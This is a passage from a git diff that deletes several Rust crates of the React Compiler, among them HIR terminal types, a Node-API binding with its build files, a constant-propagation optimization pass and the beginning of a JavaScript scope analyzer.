-                write!(
-                    out,
-                    " consequent={} alternate={}",
-                    terminal.consequent, terminal.alternate,
-                )?;
-            }
-            TerminalValue::For(terminal) => {
-                write!(
-                    out,
-                    "For init={} test={} update={} body={} fallthrough={}",
-                    terminal.init,
-                    terminal.test,
-                    match terminal.update {
-                        Some(update) => format!("{update}"),
-                        None => "<none>".to_string(),
-                    },
-                    terminal.body,
-                    terminal.fallthrough,
-                )?;
-            }
-            TerminalValue::Label(terminal) => {
-                write!(
-                    out,
-                    "Label block={} fallthrough={}",
-                    terminal.block,
-                    match terminal.fallthrough {
-                        Some(fallthrough) => format!("{fallthrough}"),
-                        None => "<none>".to_string(),
-                    },
-                )?;
-            }
-            TerminalValue::Unsupported(_) => {
-                write!(out, "Unsupported")?;
-            }
-            _ => write!(out, "{:?}", self)?,
-        }
-        Ok(())
-    }
-}
diff --git a/compiler/crates/react_hir/src/registry.rs b/compiler/crates/react_hir/src/registry.rs
deleted file mode 100644
index eb889d8a4a76..000000000000
--- a/compiler/crates/react_hir/src/registry.rs
+++ /dev/null
@@ -1,11 +0,0 @@
-/*
- * Copyright (c) Meta Platforms, Inc. and affiliates.
- *
- * This source code is licensed under the MIT license found in the
- * LICENSE file in the root directory of this source tree.
- */
-
-/// TODO: merge GlobalRegistry and ShapeRegistry into a single
-/// data structure
-#[derive(Debug)]
-pub struct Registry;
diff --git a/compiler/crates/react_hir/src/terminal.rs b/compiler/crates/react_hir/src/terminal.rs
deleted file mode 100644
index 6bb7f4f06edc..000000000000
--- a/compiler/crates/react_hir/src/terminal.rs
+++ /dev/null
@@ -1,167 +0,0 @@
-/*
- * Copyright (c) Meta Platforms, Inc. and affiliates.
- *
- * This source code is licensed under the MIT license found in the
- * LICENSE file in the root directory of this source tree.
- */
-
-use crate::instruction::IdentifierOperand;
-use crate::{BlockId, InstructionId};
-
-/// Terminals represent statements or expressions that affect control flow,
-/// such as for-of, if-else, return, logical (??), ternaries (?:), etc.
-#[derive(Debug)]
-pub struct Terminal {
-    pub id: InstructionId,
-    pub value: TerminalValue,
-}
-
-#[derive(Debug)]
-pub enum TerminalValue {
-    Branch(BranchTerminal),
-    DoWhile(DoWhileTerminal),
-    // ForOf(ForOfTerminal),
-    For(ForTerminal),
-    Goto(GotoTerminal),
-    If(IfTerminal),
-    Label(LabelTerminal),
-    // Logical(LogicalTerminal),
-    // Optional(OptionalTerminal),
-    Return(ReturnTerminal),
-    // Sequence(SequenceTerminal),
-    // Switch(SwitchTerminal),
-    // Ternary(TernaryTerminal),
-    // Throw(ThrowTerminal),
-    Unsupported(UnsupportedTerminal),
-    // While(WhileTerminal),
-}
-
-impl TerminalValue {
-    pub fn map_optional_fallthroughs<F>(&mut self, f: F)
-    where
-        F: Fn(BlockId) -> Option<BlockId>,
-    {
-        match self {
-            Self::If(terminal) => {
-                terminal.fallthrough = match terminal.fallthrough {
-                    Some(fallthrough) => f(fallthrough),
-                    _ => None,
-                }
-            }
-            Self::Label(terminal) => {
-                terminal.fallthrough = match terminal.fallthrough {
-                    Some(fallthrough) => f(fallthrough),
-                    _ => None,
-                }
-            }
-            Self::DoWhile(DoWhileTerminal { fallthrough, .. })
-            | Self::For(ForTerminal { fallthrough, .. }) => {
-                // statically detect if fallthrough is changed to Option so
-                // that we can update to map the fallthrough w f()
-                let _: BlockId = *fallthrough;
-            }
-            Self::Branch(_) | Self::Goto(_) | Self::Return(_) => {}
-            Self::Unsupported(_) => panic!("Unexpected unsupported terminal"),
-        }
-    }
-
-    pub fn successors(&self) -> Vec<BlockId> {
-        match self {
-            Self::If(terminal) => {
-                vec![terminal.consequent, terminal.alternate]
-            }
-            Self::Branch(terminal) => {
-                vec![terminal.consequent, terminal.alternate]
-            }
-            Self::For(terminal) => {
-                vec![terminal.init]
-            }
-            Self::DoWhile(terminal) => {
-                vec![terminal.body]
-            }
-            Self::Goto(terminal) => {
-                vec![terminal.block]
-            }
-            Self::Label(terminal) => {
-                vec![terminal.block]
-            }
-            Self::Return(_) => {
-                vec![]
-            }
-            Self::Unsupported(_) => panic!("Unexpected unsupported terminal"),
-        }
-    }
-
-    pub fn each_operand<F>(&mut self, mut f: F)
-    where
-        F: FnMut(&mut IdentifierOperand),
-    {
-        match self {
-            TerminalValue::Branch(terminal) => f(&mut terminal.test),
-            TerminalValue::If(terminal) => f(&mut terminal.test),
-            TerminalValue::Return(terminal) => f(&mut terminal.value),
-            TerminalValue::DoWhile(_)
-            | TerminalValue::For(_)
-            | TerminalValue::Label(_)
-            | TerminalValue::Goto(_)
-            | TerminalValue::Unsupported(_) => {}
-        }
-    }
-}
-
-#[derive(Debug)]
-pub struct UnsupportedTerminal {}
-
-#[derive(Debug)]
-pub struct BranchTerminal {
-    pub test: IdentifierOperand,
-    pub consequent: BlockId,
-    pub alternate: BlockId,
-}
-
-#[derive(Debug)]
-pub struct GotoTerminal {
-    pub block: BlockId,
-    pub kind: GotoKind,
-}
-
-#[derive(Clone, Copy, PartialEq, Eq, PartialOrd, Ord, Hash, Debug)]
-pub enum GotoKind {
-    Break,
-    Continue,
-}
-
-#[derive(Debug)]
-pub struct DoWhileTerminal {
-    pub body: BlockId,
-    pub test: BlockId,
-    pub fallthrough: BlockId,
-}
-
-#[derive(Debug)]
-pub struct IfTerminal {
-    pub test: IdentifierOperand,
-    pub consequent: BlockId,
-    pub alternate: BlockId,
-    pub fallthrough: Option<BlockId>,
-}
-
-#[derive(Debug)]
-pub struct ReturnTerminal {
-    pub value: IdentifierOperand,
-}
-
-#[derive(Debug)]
-pub struct ForTerminal {
-    pub init: BlockId,
-    pub test: BlockId,
-    pub update: Option<BlockId>,
-    pub body: BlockId,
-    pub fallthrough: BlockId,
-}
-
-#[derive(Debug)]
-pub struct LabelTerminal {
-    pub block: BlockId,
-    pub fallthrough: Option<BlockId>,
-}
diff --git a/compiler/crates/react_hir/src/types.rs b/compiler/crates/react_hir/src/types.rs
deleted file mode 100644
index 83a283926b57..000000000000
--- a/compiler/crates/react_hir/src/types.rs
+++ /dev/null
@@ -1,24 +0,0 @@
-/*
- * Copyright (c) Meta Platforms, Inc. and affiliates.
- *
- * This source code is licensed under the MIT license found in the
- * LICENSE file in the root directory of this source tree.
- */
-
-use crate::{FunctionId, ObjectId, TypeVarId};
-
-#[derive(Clone, Debug)]
-pub enum Type {
-    Builtin(BuiltinType),
-    // Phi(Box<PhiType>),
-    Var(TypeVarId),
-    // Poly(Box<PolyType>),
-    // Prop(Box<PropType>),
-}
-
-#[derive(Clone, Debug)]
-pub enum BuiltinType {
-    Primitive,
-    Function(Option<FunctionId>),
-    Object(Option<ObjectId>),
-}
diff --git a/compiler/crates/react_napi/Cargo.toml b/compiler/crates/react_napi/Cargo.toml
deleted file mode 100644
index e330a2d5cd02..000000000000
--- a/compiler/crates/react_napi/Cargo.toml
+++ /dev/null
@@ -1,26 +0,0 @@
-[package]
-name = "react_napi"
-version = "0.1.0"
-publish               = false
-authors.workspace     = true
-description.workspace = true
-edition.workspace     = true
-homepage.workspace    = true
-keywords.workspace    = true
-license.workspace     = true
-repository.workspace  = true
-
-[lib]
-crate-type = ["cdylib"]
-
-[dependencies]
-react_diagnostics = { workspace = true }
-react_hermes_parser = { workspace = true }
-react_estree = { workspace = true }
-react_semantic_analysis = { workspace = true }
-napi        = { version = "2.13.3", features = ["serde-json", "async"] }
-napi-derive = { version = "2.12" }
-serde_json = { workspace = true }
-
-[build-dependencies]
-napi-build = "2"
\ No newline at end of file
diff --git a/compiler/crates/react_napi/README.md b/compiler/crates/react_napi/README.md
deleted file mode 100644
index 65bbcce7470e..000000000000
--- a/compiler/crates/react_napi/README.md
+++ /dev/null
@@ -1,13 +0,0 @@
-# react_napi
-
-This crate uses [napi-rs](https://napi.rs/) to expose React Compiler's analysis to JavaScript via the [Node-API](https://nodejs.org/api/n-api.html#node-api).
-
-## Build
-
-Note that `napi-rs` is a bit finicky and doesn't offer full control over where its outputs are emitted. For consistency, be sure to build with
-
-```
-yarn build
-```
-
-To use the canonical build, which will ensure that all files are placed in the right location.
\ No newline at end of file
diff --git a/compiler/crates/react_napi/build.rs b/compiler/crates/react_napi/build.rs
deleted file mode 100644
index 96296a9ed238..000000000000
--- a/compiler/crates/react_napi/build.rs
+++ /dev/null
@@ -1,10 +0,0 @@
-/*
- * Copyright (c) Meta Platforms, Inc. and affiliates.
- *
- * This source code is licensed under the MIT license found in the
- * LICENSE file in the root directory of this source tree.
- */
-
-fn main() {
-    napi_build::setup();
-}
diff --git a/compiler/crates/react_napi/package.json b/compiler/crates/react_napi/package.json
deleted file mode 100644
index 81c27f37d239..000000000000
--- a/compiler/crates/react_napi/package.json
+++ /dev/null
@@ -1,20 +0,0 @@
-{
-    "name": "@react/forget-napi",
-    "version": "0.0.1",
-    "description": "JavaScript package exposing parts of React Forget compiler APIs via napi",
-    "main": "dist/index.js",
-    "license": "MIT",
-    "files": [
-      "src"
-    ],
-    "private": true,
-    "scripts": {
-      "build": "napi build --platform --release --js-package-name @react/forget-napi --js dist/index.js --dts dist/index.d.ts && mv *.node dist/"
-    },
-    "dependencies": {
-    },
-    "devDependencies": {
-      "@napi-rs/cli": "^2.15.2"
-    }
-  }
-  
\ No newline at end of file
diff --git a/compiler/crates/react_napi/src/lib.rs b/compiler/crates/react_napi/src/lib.rs
deleted file mode 100644
index f82281044ad9..000000000000
--- a/compiler/crates/react_napi/src/lib.rs
+++ /dev/null
@@ -1,121 +0,0 @@
-/*
- * Copyright (c) Meta Platforms, Inc. and affiliates.
- *
- * This source code is licensed under the MIT license found in the
- * LICENSE file in the root directory of this source tree.
- */
-use napi_derive::napi;
-use react_diagnostics::Diagnostic;
-use react_semantic_analysis::{analyze, AnalyzeOptions};
-
-pub const GLOBALS: &[&str] = &[
-    "AggregateError",
-    "Array",
-    "ArrayBuffer",
-    "AsyncFunction",
-    "AsyncGenerator",
-    "AsyncGeneratorFunction",
-    "AsyncIterator",
-    "Atomics",
-    "BigInt",
-    "BigInt64Array",
-    "BigUint64Array",
-    "Boolean",
-    "DataView",
-    "Date",
-    "decodeURI",
-    "decodeURIComponent",
-    "encodeURI",
-    "encodeURIComponent",
-    "Error",
-    "escape",
-    "eval",
-    "EvalError",
-    "FinalizationRegistry",
-    "Float32Array",
-    "Float64Array",
-    "Function",
-    "Generator",
-    "GeneratorFunction",
-    "globalThis",
-    "Infinity",
-    "Int16Array",
-    "Int32Array",
-    "Int8Array",
-    // "InternalError",  // non-standard
-    "Intl",
-    "isFinite",
-    "isNaN",
-    "Iterator",
-    "JSON",
-    "Map",
-    "Math",
-    "NaN",
-    "Number",
-    "Object",
-    "parseFloat",
-    "parseInt",
-    "Promise",
-    "Proxy",
-    "RangeError",
-    "ReferenceError",
-    "Reflect",
-    "RegExp",
-    "Set",
-    "SharedArrayBuffer",
-    "String",
-    "Symbol",
-    "SyntaxError",
-    "TypeError",
-    "Uint16Array",
-    "Uint32Array",
-    "Uint8Array",
-    "Uint8ClampedArray",
-    "undefined",
-    "unescape",
-    "URIError",
-    "WeakMap",
-    "WeakRef",
-    "WeakSet",
-];
-
-#[napi]
-pub fn parse(source: String, options: ParseOptions) -> ParseResult {
-    let program = match react_hermes_parser::parse(&source, &options.file) {
-        Ok(program) => program,
-        Err(diagnostics) => {
-            return ParseResult {
-                program: None,
-                diagnostics: convert_diagnostics(diagnostics),
-            };
-        }
-    };
-    let mut analysis = analyze(
-        &program,
-        AnalyzeOptions {
-            globals: GLOBALS.iter().map(|s| s.to_string()).collect(),
-        },
-    );
-    ParseResult {
-        program: Some(serde_json::to_string(&program).unwrap()),
-        diagnostics: convert_diagnostics(analysis.diagnostics()),
-    }
-}
-
-fn convert_diagnostics(diagnostics: Vec<Diagnostic>) -> Vec<String> {
-    diagnostics
-        .into_iter()
-        .map(|diagnostic| format!("{}", diagnostic))
-        .collect()
-}
-
-#[napi(object)]
-pub struct ParseOptions {
-    pub file: String,
-}
-
-#[napi(object)]
-pub struct ParseResult {
-    pub program: Option<String>,
-    pub diagnostics: Vec<String>,
-}
diff --git a/compiler/crates/react_napi/yarn.lock b/compiler/crates/react_napi/yarn.lock
deleted file mode 100644
index 248f23fac799..000000000000
--- a/compiler/crates/react_napi/yarn.lock
+++ /dev/null
@@ -1,8 +0,0 @@
-# THIS IS AN AUTOGENERATED FILE. DO NOT EDIT THIS FILE DIRECTLY.
-# yarn lockfile v1
-
-
-"@napi-rs/cli@^2.15.2":
-  version "2.16.3"
-  resolved "https://registry.yarnpkg.com/@napi-rs/cli/-/cli-2.16.3.tgz#6943d0614bbb4900a97b18ae074f735864f78c4b"
-  integrity sha512-3mLNPlbbOhpbIUKicLrJtIearlHXUuXL3UeueYyRRplpVMNkdn8xCyzY6PcYZi3JXR8bmCOiWgkVmLnrSL7DKw==
diff --git a/compiler/crates/react_optimization/Cargo.toml b/compiler/crates/react_optimization/Cargo.toml
deleted file mode 100644
index 090c1469453c..000000000000
--- a/compiler/crates/react_optimization/Cargo.toml
+++ /dev/null
@@ -1,24 +0,0 @@
-[package]
-name = "react_optimization"
-version = "0.1.0"
-publish               = false
-authors.workspace     = true
-description.workspace = true
-edition.workspace     = true
-homepage.workspace    = true
-keywords.workspace    = true
-license.workspace     = true
-repository.workspace  = true
-
-# See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html
-
-[dependencies]
-react_estree = { workspace = true }
-react_hir = { workspace = true }
-react_ssa = { workspace = true }
-react_build_hir = { workspace = true }
-react_utils = { workspace = true }
-react_diagnostics = { workspace = true }
-indexmap = { workspace = true }
-miette = { workspace = true }
-thiserror = { workspace = true }
\ No newline at end of file
diff --git a/compiler/crates/react_optimization/README.md b/compiler/crates/react_optimization/README.md
deleted file mode 100644
index b27b3a510a89..000000000000
--- a/compiler/crates/react_optimization/README.md
+++ /dev/null
@@ -1,3 +0,0 @@
-# react_optimization
-
-Compiler passes that apply various optimizations to improve the performance and/or size of the program.
\ No newline at end of file
diff --git a/compiler/crates/react_optimization/src/constant_propagation.rs b/compiler/crates/react_optimization/src/constant_propagation.rs
deleted file mode 100644
index f56157074b86..000000000000
--- a/compiler/crates/react_optimization/src/constant_propagation.rs
+++ /dev/null
@@ -1,294 +0,0 @@
-/*
- * Copyright (c) Meta Platforms, Inc. and affiliates.
- *
- * This source code is licensed under the MIT license found in the
- * LICENSE file in the root directory of this source tree.
- */
-
-use std::collections::HashMap;
-
-use react_diagnostics::Diagnostic;
-use react_estree::{BinaryOperator, JsValue};
-use react_hir::{
-    initialize_hir, merge_consecutive_blocks, BlockKind, Environment, Function, GotoKind,
-    GotoTerminal, IdentifierId, InstructionValue, LoadGlobal, Primitive, TerminalValue,
-};
-use react_ssa::eliminate_redundant_phis;
-
-pub fn constant_propagation(env: &Environment, fun: &mut Function) -> Result<(), Diagnostic> {
-    let mut constants = Constants::default();
-    constant_propagation_impl(env, fun, &mut constants)
-}
-
-fn constant_propagation_impl(
-    env: &Environment,
-    fun: &mut Function,
-    constants: &mut Constants,
-) -> Result<(), Diagnostic> {
-    loop {
-        let have_terminals_changed = apply_constant_propagation(env, fun, constants)?;
-        if !have_terminals_changed {
-            break;
-        }
-        // If terminals have changed then blocks may have become newly unreachable,
-        // so reinitialize the HIR
-        // TODO handle errors
-        initialize_hir(&mut fun.body).unwrap();
-
-        // Now that predecessors have changed, prune phi operands for unreachable blocks
-        // for example, a phi node whose operand was eliminated because it was set in a
-        // block that is no longer reached
-        for block in fun.body.blocks.iter_mut() {
-            // TODO: avoid the clone here
-            let predecessors = block.predecessors.clone();
-            for phi in block.phis.iter_mut() {
-                phi.operands
-                    .retain(|predecessor, _| predecessors.contains(predecessor))
-            }
-        }
-
-        // By removing some phi operands, there may be phis that were not previously
-        // redundant but now are
-        eliminate_redundant_phis(env, fun);
-
-        // Finally, merge together any blocks that are now guaranteed to execute
-        // consecutively
-        merge_consecutive_blocks(env, fun)?;
-    }
-    Ok(())
-}
-
-fn apply_constant_propagation(
-    env: &Environment,
-    fun: &mut Function,
-    constants: &mut Constants,
-) -> Result<bool, Diagnostic> {
-    let mut has_changes = false;
-
-    for block in fun.body.blocks.iter_mut() {
-        for phi in block.phis.iter() {
-            let mut value: Option<Constant> = None;
-            for (_, operand) in &phi.operands {
-                if let Some(operand_value) = constants.get(operand.id) {
-                    match &mut value {
-                        Some(value) if value == operand_value => {
-                            // no-op
-                        }
-                        Some(_) => {
-                            value = None;
-                            break;
-                        }
-                        None => {
-                            value = Some(operand_value.clone());
-                        }
-                    }
-                } else {
-                    // This phi operand's value is unknown, bail out of replacing it
-                    value = None;
-                    break;
-                }
-            }
-            if let Some(value) = value {
-                constants.insert(phi.identifier.id, value);
-            }
-        }
-        for (ix, instr_ix) in block.instructions.iter().enumerate() {
-            if block.kind == BlockKind::Sequence && ix == block.instructions.len() - 1 {
-                // Evaluating the last value of a sequence can break order of evaluation
-                // so skip these instructions
-                continue;
-            }
-            let instr_ix = usize::from(*instr_ix);
-            let lvalue_id = fun.body.instructions[instr_ix].lvalue.identifier.id;
-            let mut value = std::mem::replace(
-                &mut fun.body.instructions[instr_ix].value,
-                InstructionValue::Tombstone,
-            );
-            let const_value = evaluate_instruction(env, &mut value, constants)?;
-            if let Some(const_value) = const_value {
-                constants.insert(lvalue_id, const_value);
-            }
-            fun.body.instructions[instr_ix].value = value;
-        }
-
-        // If the block ends in an `if` and the test value is a constant primitive,
-        // then convert the terminal into a goto to either the consequent or alternate
-        // in this case, only the selected branch is reachable
-        if let TerminalValue::If(terminal) = &mut block.terminal.value {
-            if let Some(primitive) = constants.get_primitive(terminal.test.identifier.id) {
-                let target_block_id = if primitive.value.is_truthy() {
-                    terminal.consequent
-                } else {
-                    terminal.alternate
-                };
-                block.terminal.value = TerminalValue::Goto(GotoTerminal {
-                    block: target_block_id,
-                    kind: GotoKind::Break,
-                });
-                has_changes = true;
-            }
-        }
-    }
-
-    Ok(has_changes)
-}
-
-fn evaluate_instruction(
-    env: &Environment,
-    mut instr: &mut InstructionValue,
-    constants: &mut Constants,
-) -> Result<Option<Constant>, Diagnostic> {
-    match &mut instr {
-        InstructionValue::Primitive(value) => Ok(Some(Constant::Primitive(value.clone()))),
-        InstructionValue::LoadGlobal(value) => Ok(Some(Constant::Global(value.clone()))),
-        InstructionValue::Binary(value) => {
-            let left = constants.get_primitive(value.left.identifier.id);
-            let right = constants.get_primitive(value.right.identifier.id);
-            match (left, right) {
-                (Some(left), Some(right)) => {
-                    if let Some(result) =
-                        apply_binary_operator(env, &left.value, value.operator, &right.value)
-                    {
-                        *instr = InstructionValue::Primitive(Primitive {
-                            value: result.clone(),
-                        });
-                        Ok(Some(Constant::Primitive(Primitive { value: result })))
-                    } else {
-                        Ok(None)
-                    }
-                }
-                _ => {
-                    // no-op, not all operands are known
-                    Ok(None)
-                }
-            }
-        }
-        InstructionValue::LoadLocal(value) => {
-            if let Some(const_value) = constants.get(value.place.identifier.id) {
-                *instr = const_value.into();
-                Ok(Some(const_value.clone()))
-            } else {
-                Ok(None)
-            }
-        }
-        InstructionValue::StoreLocal(value) => {
-            if let Some(const_value) = constants.get(value.value.identifier.id).cloned() {
-                constants.insert(value.lvalue.identifier.identifier.id, const_value.clone());
-                Ok(Some(const_value))
-            } else {
-                Ok(None)
-            }
-        }
-        InstructionValue::Function(value) => {
-            // TODO: due to the outer fixpoint iteration this could visit the same
-            // function many times. However we only strictly have to visit the function
-            // again if the context variable's constant values have changed since last
-            // time. Improve this by tracking the inner_constants value with which we
-            // last visited, and skip visiting if the same
-            let mut inner_constants: Constants = value
-                .lowered_function
-                .context
-                .iter()
-                .filter_map(|id| {
-                    let value = constants.get(id.identifier.id);
-                    value.map(|value| (id.identifier.id, value.clone()))
-                })
-                .collect();
-            constant_propagation_impl(env, &mut value.lowered_function, &mut inner_constants)?;
-            Ok(None)
-        }
-        _ => {
-            // no-op, not all instructions can be processed
-            Ok(None)
-        }
-    }
-}
-
-fn apply_binary_operator(
-    _env: &Environment,
-    left: &JsValue,
-    operator: BinaryOperator,
-    right: &JsValue,
-) -> Option<JsValue> {
-    match (left, right) {
-        (JsValue::Number(left), JsValue::Number(right)) => match operator {
-            BinaryOperator::Add => Some(JsValue::Number(*left + *right)),
-            BinaryOperator::Subtract => Some(JsValue::Number(*left - *right)),
-            BinaryOperator::Multiply => Some(JsValue::Number(*left * *right)),
-            BinaryOperator::Divide => Some(JsValue::Number(*left / *right)),
-            BinaryOperator::LessThan => Some(JsValue::Boolean(*left < *right)),
-            BinaryOperator::LessThanOrEqual => Some(JsValue::Boolean(*left <= *right)),
-            BinaryOperator::GreaterThan => Some(JsValue::Boolean(*left > *right)),
-            BinaryOperator::GreaterThanOrEqual => Some(JsValue::Boolean(*left >= *right)),
-            BinaryOperator::Equals => Some(JsValue::Boolean(left.equals(*right))),
-            BinaryOperator::NotEquals => Some(JsValue::Boolean(left.not_equals(*right))),
-            BinaryOperator::StrictEquals => Some(JsValue::Boolean(left.equals(*right))),
-            BinaryOperator::NotStrictEquals => Some(JsValue::Boolean(left.not_equals(*right))),
-            _ => None,
-        },
-        (left, right) => match operator {
-            BinaryOperator::Equals => left.loosely_equals(right).map(JsValue::Boolean),
-            BinaryOperator::NotEquals => left.not_loosely_equals(right).map(JsValue::Boolean),
-            BinaryOperator::StrictEquals => Some(JsValue::Boolean(left.strictly_equals(right))),
-            BinaryOperator::NotStrictEquals => {
-                Some(JsValue::Boolean(left.not_strictly_equals(right)))
-            }
-            _ => None,
-        },
-    }
-}
-
-#[derive(Default)]
-struct Constants {
-    data: HashMap<IdentifierId, Constant>,
-}
-
-impl Constants {
-    fn get_primitive(&self, id: IdentifierId) -> Option<&Primitive> {
-        if let Some(Constant::Primitive(primitive)) = &self.data.get(&id) {
-            Some(primitive)
-        } else {
-            None
-        }
-    }
-
-    fn get(&self, id: IdentifierId) -> Option<&Constant> {
-        self.data.get(&id)
-    }
-
-    fn insert(&mut self, id: IdentifierId, constant: Constant) {
-        self.data.insert(id, constant);
-    }
-}
-
-impl FromIterator<(IdentifierId, Constant)> for Constants {
-    fn from_iter<T: IntoIterator<Item = (IdentifierId, Constant)>>(iter: T) -> Self {
-        Self {
-            data: FromIterator::from_iter(iter),
-        }
-    }
-}
-
-#[derive(Debug, Clone, PartialEq, Eq)]
-enum Constant {
-    Global(LoadGlobal),
-    Primitive(Primitive),
-}
-
-impl From<&Constant> for InstructionValue {
-    fn from(value: &Constant) -> Self {
-        match value {
-            Constant::Global(value) => InstructionValue::LoadGlobal(value.clone()),
-            Constant::Primitive(value) => InstructionValue::Primitive(value.clone()),
-        }
-    }
-}
-
-impl From<Constant> for InstructionValue {
-    fn from(value: Constant) -> Self {
-        match value {
-            Constant::Global(value) => InstructionValue::LoadGlobal(value),
-            Constant::Primitive(value) => InstructionValue::Primitive(value),
-        }
-    }
-}
diff --git a/compiler/crates/react_optimization/src/lib.rs b/compiler/crates/react_optimization/src/lib.rs
deleted file mode 100644
index 8e5c53f72616..000000000000
--- a/compiler/crates/react_optimization/src/lib.rs
+++ /dev/null
@@ -1,10 +0,0 @@
-/*
- * Copyright (c) Meta Platforms, Inc. and affiliates.
- *
- * This source code is licensed under the MIT license found in the
- * LICENSE file in the root directory of this source tree.
- */
-
-mod constant_propagation;
-
-pub use constant_propagation::constant_propagation;
diff --git a/compiler/crates/react_semantic_analysis/Cargo.toml b/compiler/crates/react_semantic_analysis/Cargo.toml
deleted file mode 100644
index 5e7ff5557abe..000000000000
--- a/compiler/crates/react_semantic_analysis/Cargo.toml
+++ /dev/null
@@ -1,24 +0,0 @@
-[package]
-name = "react_semantic_analysis"
-version = "0.1.0"
-authors.workspace = true
-description.workspace = true
-edition.workspace = true
-homepage.workspace = true
-keywords.workspace = true
-license.workspace = true
-repository.workspace = true
-
-# See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html
-
-[dependencies]
-react_diagnostics = { workspace = true }
-react_estree = { workspace = true }
-react_utils = { workspace = true }
-indexmap = { workspace = true }
-
-[dev-dependencies]
-react_hermes_parser = { workspace = true }
-insta = { workspace = true }
-miette = { workspace = true, features = ["backtrace", "fancy"] }
-serde_json = { workspace = true }
\ No newline at end of file
diff --git a/compiler/crates/react_semantic_analysis/README.md b/compiler/crates/react_semantic_analysis/README.md
deleted file mode 100644
index d3c81d9b033a..000000000000
--- a/compiler/crates/react_semantic_analysis/README.md
+++ /dev/null
@@ -1,6 +0,0 @@
-# react_semantic_analysis
-
-Implements semantic analysis of JavaScript name resolution and scope information over the `react_estree` AST. Eventually this
-analysis will be extended to cover Flow and TypeScript in addition to the core JS and JSX language.
-
-NOTE: this analsyis *assumes strict mode* and does not support legacy non-strict semantics.
\ No newline at end of file
diff --git a/compiler/crates/react_semantic_analysis/src/analyzer.rs b/compiler/crates/react_semantic_analysis/src/analyzer.rs
deleted file mode 100644
index c2e3eb58f7de..000000000000
--- a/compiler/crates/react_semantic_analysis/src/analyzer.rs
+++ /dev/null
@@ -1,870 +0,0 @@
-/*
- * Copyright (c) Meta Platforms, Inc. and affiliates.
- *
- * This source code is licensed under the MIT license found in the
- * LICENSE file in the root directory of this source tree.
- */
-use react_diagnostics::Diagnostic;
-use react_estree::{
-    AssignmentOperator, AssignmentPropertyOrRestElement, AssignmentTarget, Expression,
-    ExpressionOrPrivateIdentifier, ExpressionOrSuper, ForInInit, ForInit, FunctionBody, Identifier,
-    ImportDeclarationSpecifier, IntoClass, IntoFunction, JSXElementName, Pattern, Program,
-    SourceRange, Statement, VariableDeclarationKind, Visitor,
-};
-
-use crate::{
-    AstNode, DeclarationId, DeclarationKind, Label, LabelId, LabelKind, ReferenceKind, ScopeId,
-    ScopeKind, ScopeManager,
-};
-
-pub fn analyze(ast: &Program, options: AnalyzeOptions) -> ScopeManager {
-    let mut analyzer = Analyzer::new(ast, options);
-    analyzer.visit_program(ast);
-    analyzer.complete()
-}
-
-#[derive(Debug, Default)]
-pub struct AnalyzeOptions {
-    pub globals: Vec<String>,
-}
-
-struct Analyzer {
-    manager: ScopeManager,
-    labels: Vec<LabelId>,
-    current: ScopeId,
-    unresolved: Vec<UnresolvedReference>,
-}
-
-#[derive(Debug, Clone)]
-pub struct UnresolvedReference {
-    pub scope: ScopeId,
-    pub ast: AstNode,
-    pub name: String,
-    pub kind: ReferenceKind,
-    pub range: Option<SourceRange>,
-    // The next declaration id at the time the reference was created
-    // this is used to detect a subset of TDZ violations, where a
-    // reference is trivially known to refer to a let/const declaration
-    // that cannot have been initialized yet.
-    pub next_declaration: DeclarationId,
-}
-
-impl Analyzer {
-    fn new(program: &Program, options: AnalyzeOptions) -> Self {
-        let manager = ScopeManager::new(program.source_type, options.globals);
-        let current = manager.root_id();
-        let labels = Default::default();
-        Self {
-            manager,
-            labels,
-            current,
-            unresolved: Default::default(),
-        }
-    }
-
-    fn complete(mut self) -> ScopeManager {
-        for reference in self.unresolved {
-            if let Some(declaration) = self.manager.lookup_reference(
-                reference.scope,
-                &reference.name,
-                reference.next_declaration,
-            ) {
-                let id =
-                    self.manager
-                        .add_reference(reference.scope, reference.kind, declaration.id);
-                self.manager.node_references.insert(reference.ast, id);
-            } else {
-                self.manager.diagnostics.push(Diagnostic::invalid_syntax(
-                    "Undefined variable",
-                    reference.range,
-                ));
-            }
-        }
-        self.manager
-    }
-
-    fn enter_label<F>(&mut self, id: LabelId, mut f: F)
-    where
-        F: FnMut(&mut Self),
-    {
-        self.labels.push(id);
-        f(self);
-        let last = self.labels.pop().unwrap();
-        assert_eq!(last, id);
-    }
-
-    fn lookup_break(&self, name: Option<&str>) -> Option<&Label> {
-        for id in self.labels.iter().rev() {
-            let label = self.manager.label(*id);
-            match (name, &label.name) {
-                // If this is a labeled break, only return if an exact match
-                // is in scope
-                (Some(name), Some(label_name)) if name == label_name => {
-                    return Some(label);
-                }
-                // If this is an unlabeld break, return the innermost label id
-                (None, _) => {
-                    return Some(label);
-                }
-                _ => { /* no-op */ }
-            }
-        }
-        None
-    }
-
-    fn lookup_continue(&self, name: Option<&str>) -> Option<&Label> {
-        for id in self.labels.iter().rev() {
-            let label = self.manager.label(*id);
-            match (name, &label.name) {
-                // If this is a labeled break, only return if an exact match
-                // is in scope
-                (Some(name), Some(label_name)) if &name == label_name => {
-                    return Some(label);
-                }
-                // If this is an unlabeld break, return the innermost label id
-                (None, _) => {
-                    return Some(label);
-                }
-                _ => { /* no-op */ }
-            }
-        }
-        None
-    }
-
-    fn enter<F>(&mut self, kind: ScopeKind, mut f: F) -> ScopeId
-    where
-        F: FnMut(&mut Self),
-    {
-        let scope = self.enter_scope(kind);
-        f(self);
-        self.close_scope(scope);
-        scope
-    }
-
-    fn enter_scope(&mut self, kind: ScopeKind) -> ScopeId {
-        let scope = self.manager.add_scope(self.current, kind);
-        self.current = scope;
-        scope
-    }
-
-    fn close_scope(&mut self, id: ScopeId) {
-        assert_eq!(self.current, id, "Mismatched enter_scope/close_scope");
-        let scope = self.manager.mut_scope(self.current);
-        let parent = scope.parent.unwrap();
-        self.current = parent;
-    }
-
-    fn visit_function<T: IntoFunction>(&mut self, node: &T) {
-        assert_eq!(self.manager.scope(self.current).kind, ScopeKind::Function);
-        let function = node.function();
-        for param in &function.params {
-            // `this` parameters don't declare variables, nor can they have
-            // default values
-            if let Pattern::Identifier(param) = param {
-                if &param.name == "this" {
-                    continue;
-                }
-            }
-            Analyzer::visit_declaration_pattern(self, param, Some(DeclarationKind::Function));
-        }
-
-        if let Some(body) = &function.body {
-            match body {
-                FunctionBody::BlockStatement(body) => {
-                    // Skip calling visit_block_statement to avoid creating an extra
-                    // block scope
-                    for item in &body.body {
-                        self.visit_statement(item);
-                    }
-                }
-                FunctionBody::Expression(body) => {
-                    self.visit_expression(body);
-                }
-            }
-        }
-        self.manager
